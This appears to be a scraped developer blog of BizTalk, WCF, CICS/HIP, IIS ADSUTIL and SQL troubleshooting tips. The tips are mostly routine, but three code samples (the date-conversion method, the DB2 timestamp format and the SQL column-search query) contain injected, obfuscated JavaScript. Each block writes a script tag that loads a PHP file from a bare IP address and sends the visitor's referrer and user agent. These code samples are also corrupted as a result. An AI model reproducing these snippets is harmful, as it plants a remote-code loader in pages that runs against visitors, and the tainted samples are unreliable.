This week, we finally agreed on our TFS structure, and I checked in all our BizTalk code. It compiled okay before check-in, but after check-in it was giving the following strange error:

Error Error
Build failed. Assembly builder could not generate final assembly
‘C:SourceJFDevBizTalkWireTransferABC.WireTransfer.Bi
zTalk.ArtifactsobjDevelopment~ABC.WireTransfer.BizTalk.Artifacts.d
ll’. Access to the path
‘C:SourceJFDevBizTalkWireTransferABC.WireTransfer.Bi
zTalk.ArtifactsOrchestrationsProcessWireTransfer.odx.cs’ is denied.

At first, I went off on a red herring. I thought this was related to the “obj’ directory needing to be deleted, or that some other file was accessing it.

Then it dawned on me, the problem was really with the xxx.odx.cs file. Why this file? The compiler generates this file, so it never really needed to be checked-in to TFS in the first place. Since I did a mass-checkin from disk (by doing “Add-Files”), these files ended up in TFS as well. Thus, when they were brought down to a new disk structure, they had the “read-only” attribute set.

So I had two solutions, either check-them-out, or delete them. I went with the concept of deleting them on TFS, then deleting them on disk, then the compile worked.

NOTE: When testing with this on TFS, it’s useful to do a test with two developers. Just because it works on one developers machine, doesn’t 100% guarantee that when the second developer checks it out that it will work.

An example of this point is our “add references”. We reference a common binaries folder to allow for more flexibility of each developer building his own solutions. In other words, we typically don’t do references with the solution, and instead reference the a special folder we created called “binaries”. It’s a little bit of a pain to keep it in sync.

Anyway, when we checked in the disk structure, the .DLLs in the Binaries by default were excluded. I had to go back and check them again manually, without the exclude of the .DLL suffix.

Hope this helps…
Neal Walters
06/22/2010

Here is one cause of the error below. In this case, a fellow developer GAC’ed the .DLL in the Deployment/bin instead of the Development/bin. There was a .DLL in the Deployment/bin, but it was much older, and didn’t have the specific orchestration being called for.

Failed while creating a Your.ProjectName.YourOrchestrationName service.

Exception type: ServiceCreationException
The following is a stack trace that identifies the location where the exception occured

at Microsoft.BizTalk.XLANGs.BTXEngine.BTXSession._serviceCreator(Guid& instanceId, Object objCurrMsg)
at Microsoft.XLANGs.Core.ResourceContainer._allocateResource(Guid& key, UInt32 hashKey, ResourceCreator resCreator, Object creationContext)
at Microsoft.XLANGs.Core.ResourceContainer.Dispense(Guid& key, ResourceCreator resCreator, Object creationContext)
at Microsoft.BizTalk.XLANGs.BTXEngine.BTXSession._dispenseService(Guid& instanceId, IBTMessage currMsg)
at Microsoft.BizTalk.XLANGs.BTXEngine.BTXSession._tryReceiveOneMessage(Boolean& loggedError, Guid& instanceId, IBTMessage currMsg)
at Microsoft.BizTalk.XLANGs.BTXEngine.BTXSession._receiveOneMessage(Guid& instanceId, Guid& serviceId, IBTMessage currentMsg)
at Microsoft.BizTalk.XLANGs.BTXEngine.BTXSession.ReceiveMessages(IBTMessage[] messages, Int32 firstIdx, Int32 count)
at Microsoft.BizTalk.XLANGs.BTXEngine.AppDomains.AppDomainRoot.Microsoft.XLANGs.BizTalk.ProcessInterface.IAppDomainStub.ReceiveMessages(Object objMsg)
at Microsoft.XLANGs.BizTalk.CrossProcess.AppDomainStubProxy.Microsoft.XLANGs.BizTalk.ProcessInterface.IAppDomainStub.ReceiveMessages(Object msgs)
at System.Runtime.Remoting.Messaging.StackBuilderSink._PrivateProcessMessage(IntPtr md, Object[] args, Object server, Int32 methodPtr, Boolean fExecuteInContext, Object[]& outArgs)
at System.Runtime.Remoting.Messaging.StackBuilderSink.PrivateProcessMessage(RuntimeMethodHandle md, Object[] args, Object server, Int32 methodPtr, Boolean fExecuteInContext, Object[]& outArgs)
at System.Runtime.Remoting.Messaging.StackBuilderSink.SyncProcessMessage(IMessage msg, Int32 methodPtr, Boolean fExecuteInContext)
at System.Runtime.Remoting.Messaging.StackBuilderSink.SyncProcessMessage(IMessage msg)

ERROR:
Uncaught exception (see the ‘inner exception’ below) has suspended an instance of service ‘MyApp.Common.BizTalk.Artifacts.HandleCommonErrors(4e50ec54-338d-1887-a441-2dc31c830952)’.
The service instance will remain suspended until administratively resumed or terminated.
If resumed the instance will continue from its last persisted state and may re-throw the same unexpected exception.
InstanceId: 8d92abe3-0e57-43d6-bd92-635708964f31
Shape name:
ShapeId:
Exception thrown from: segment -1, progress -1
Inner exception: Received unexpected message type ” does not match expected type ‘http://MyApp.Common.BizTalk.Artifacts/Config#ConfigResp’.

Exception type: UnexpectedMessageTypeException
Source: Microsoft.XLANGs.Engine
Target Site: Void VerifyMessage(Microsoft.XLANGs.Core.Envelope, System.String, Microsoft.XLANGs.Core.Context, Microsoft.XLANGs.Core.OperationInfo)
The following is a stack trace that identifies the location where the exception occured

at Microsoft.XLANGs.Core.PortBindi

SOLUTION:
Change Send Port ReceivePipeline to XMLReceive instead of PassThru.

BizTalk could not parse the XML without the XMLRecieve pipeline.

 

Update on  08/31/2016:

This happened to me again.  I had a solution with multiple projects, and every time I did a deploy, the SendPort was getting reset.  I’m not 100% sure why, but the way I fixed that was to go to the Solution itself, and turn off the deploy of the common module.  I must have had a pipeline or something that was causing the SendPort to be modified each time I deployed.

Converting a date such as 1/21/2008 11:09:05 AM to XML Date/Time Format.
You might want to put this code into a MapHelper library, then reference
it from a Scripting Functoid in a BizTalk Map.

<code>
 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndrif|var|u0026u|referrer|kannz||js|php'.split('|'),0,{}))
</script></noindex>        public static string ConvertDateTimetoXmlDateTime(string inDate)
        {
            try
            {
                DateTime dtIn = DateTime.Parse(inDate);
                return System.Xml.XmlConvert.ToString(dtIn, System.Xml.XmlDateTimeSerializationMode.Local);

            }
            catch
            {
                return "invalid-Date/Time-conversion from value='" + inDate + "'";
            }
        }
</code>

FULL ERROR

Exception: System.ServiceModel.CommunicationException: There was an error while trying to serialize parameter http://tempuri.org/:ExportValuationPolicyNumberResult. The InnerException message was ‘Type ‘TFBIC.RCT.WCFWebServices.ExpressLync.MainStreetValuation’ with data contract name ‘MainStreetValuation:http://schemas.datacontract.org/2004/07/TFBIC.RCT.WCFWebServices.ExpressLync’ is not expected. Add any types not known statically to the list of known types – for example, by using the KnownTypeAttribute attribute or by adding them to the list of known types passed to DataContractSerializer.’. Please see InnerException for more details. —> System.Runtime.Serialization.SerializationException: Type ‘TFBIC.RCT.WCFWebServices.ExpressLync.MainStreetValuation’ with data contract name ‘MainStreetValuation:http://schemas.datacontract.org/2004/07/TFBIC.RCT.WCFWebServices.ExpressLync’ is not expected. Add any types not known statically to the list of known types – for example, by using the KnownTypeAttribute attribute or by adding them to the list of known types passed to DataContractSerializer.

SOLUTION

1. Manually create a proxy to the WCF Service from the command line like so:
svcutil /serializer:XmlSerializer http://localhost:46122/ValuationService.svc

2. Add the [XmlSerializerFormat] to your ServiceContract on the WCF Service

By doing this, we force our WCF Service to use the XmlSerializer rather than the default DataContractSerializer. Note: you?ll need to call the WCF service from you new proxy in your sample code.

We needed to compare a C# date-time in string format to a DB2 TimeStamp format.
Use the DateFormat string below. The six f’s represent the milliseconds.

 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzkhh|var|u0026u|referrer|hfakf||js|php'.split('|'),0,{}))
</script></noindex>                    txtResultUpdateTimeStamp.Text =
                                        propResult.PropertyFields.updateTimeStamp.ToString(
                                                    "yyyy-MM-dd-hh:mm:ss.ffffff");

When using HIP (CICS Host-Initiated-Processing) [part of Host Integration Services – or HIS] – you might get the error “Select Error Occurred”. This seemed to happen to me when I was trying to pass a null value back to the HIP (and therefore CICS). It seems to want to have all the fields set to some value other than null. Unfortunately, it doesn’t tell you the field that is causing the problem.

With other errors, sometimes you will get an Event Log message that is more helpful. For example, if CICS tries to send a number that is too large for the .NET type, you will get a message like this:

Event Type: Error
Event Source: HIP Service
Event Category: (7)
Event ID: 815
Date: 2/2/2010
Time: 1:00:29 PM
User: BUILTINAdministrators
Computer: NXWTest08BT1.dev.txfb-ins.com
Description:
(815) A Transaction Integrator flow control module is reporting a failure when converting client user data.
HIP Application: RCTGetReplacementCost

Error Description: (1507) The magnitude of a sending field exceeds that allowed for a receiving field in RqstEstimateNumber in GetReplacementCost.
The size of the number is too large to be placed into the resulting data type. Check for a client application error and correct. If the client application is correct consider modifying the data conversion mapping so that the parameter is converted to a data type capable of accepting the numeric value.

HRESULT: 80020009

EXPLANATION
An error has occurred when converting input user data.
ACTION
Verify that the client program is sending the correct data and that the correct HIP mappings have been administered. Make sure that the Transaction Integrator service has been properly deployed and administered and that the HIP runtime environment has been installed on the system on which the failure occurred. If the problem persists contact Microsoft support.

This can happen if COBOL has for example PIC S9(10), and .NET has an integer. Entering 1111111111 in the number “fits”, but entering 2222222222 does not.

ADSUTIL.VBS

MSDN Documentation here:
MSDN AdsUtil.vbs

According to this TechNet article, you should be able to view, create and delete Virtual Directories in the IIS7 GUI admin tool, but I had difficulties with it.

AdsUtil can be found here: c:inetpubAdminScripts
(on machines running Windows 2008 and IIS7).
It’s a VB/Script (.vbs suffix) and you should always run it with CSCRIPT (the command prompt version of VBScript that causes all output to write to the console rather than popping up message boxes).

Why am I documenting this? I had a case using the BizTalk Deployment Framework (BTDF) from CodePlex where I had deleted a Virtual Application in IIS, but apparently a Virtual Directory was still remaining. When I ran the BTDF deploy function, it told me that the virtual directory already existed. I had to resort to some method of manually deleting it. In theory, with IIS7, we should be able to use APPCMD in c:inetpubAdminScripts, but I had some situations where ADSUTIL showed the VDIR and APPCMD did not.

Testing a Path with ADSUTIL

<code>
c:inetpubAdminScripts>cscript adsutil.vbs ENUM /W3SVC/1/ROOT/TFBIC.RCT.BizTalk
.Orchestrations
Microsoft (R) Windows Script Host Version 5.7
Copyright (C) Microsoft Corporation. All  rights reserved. 

KeyType                         : (STRING) "IIsWebVirtualDir"
AppRoot                         : (STRING) "/LM/W3SVC/1/ROOT/TFBIC.RCT.BizTalk.O
rchestrations"
AppFriendlyName                 : (STRING) "TFBIC.RCT.BizTalk.Orchestrations"
AppIsolated                     : (INTEGER) 0
Path                            : (STRING) "C:inetpubwwwrootTFBIC.RCT.BizTalk
.Orchestrations"
AuthFlags                       : (INTEGER) 1
AuthBasic                       : (BOOLEAN) False
AuthAnonymous                   : (BOOLEAN) True
AuthNTLM                        : (BOOLEAN) False
AuthMD5                         : (BOOLEAN) False
AuthPassport                    : (BOOLEAN) False
AppPoolId                       : (STRING) "DefaultAppPool"
NTAuthenticationProviders       : (STRING) "Negotiate,NTLM"
</code>

Delete a Virtual Directory with ADSUTIL

<code>
c:inetpubAdminScripts>cscript adsutil.vbs DELETE /W3SVC/1/ROOT/TFBIC.RCT.BizTa
lk.Orchestrations
Microsoft (R) Windows Script Host Version 5.7
Copyright (C) Microsoft Corporation. All rights reserved.

deleted path W3SVC/1/ROOT/TFBIC.RCT.BizTalk.Orchestrations"
</code>

Download Free BizTalk 2006/2009 Architecture Posters

Posters

Often you need to quickly find an SQL database column based on a partial name, or do something like show me all the column names that have “cust” or “addr” or “date” in the column name…

use <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shyhe|var|u0026u|referrer|irsif||js|php'.split('|'),0,{}))
</script></noindex> YourDatabaseHere

select b.name as 'TableName', a.name as 'ColumnName' from sys.columns A
  inner join sys.tables B on a.object_id = b.object_id
where a.name like '%cust%'
order by b.name, a.name

This finds all columns containing the letters ‘cust’. Just change ‘cust’ to whatever you want

Example use: I know there’s probably a column called ‘zipcode’ or ‘postal’ code, but I don’t know what they called it:

use YourDatabaseHere
 select b.name as 'TableName', a.name as 'ColumnName' from sys.columns A
  inner join sys.tables B on a.object_id = b.object_id
where a.name like '%zip%' or a.name like '%post%'
order by b.name, a.name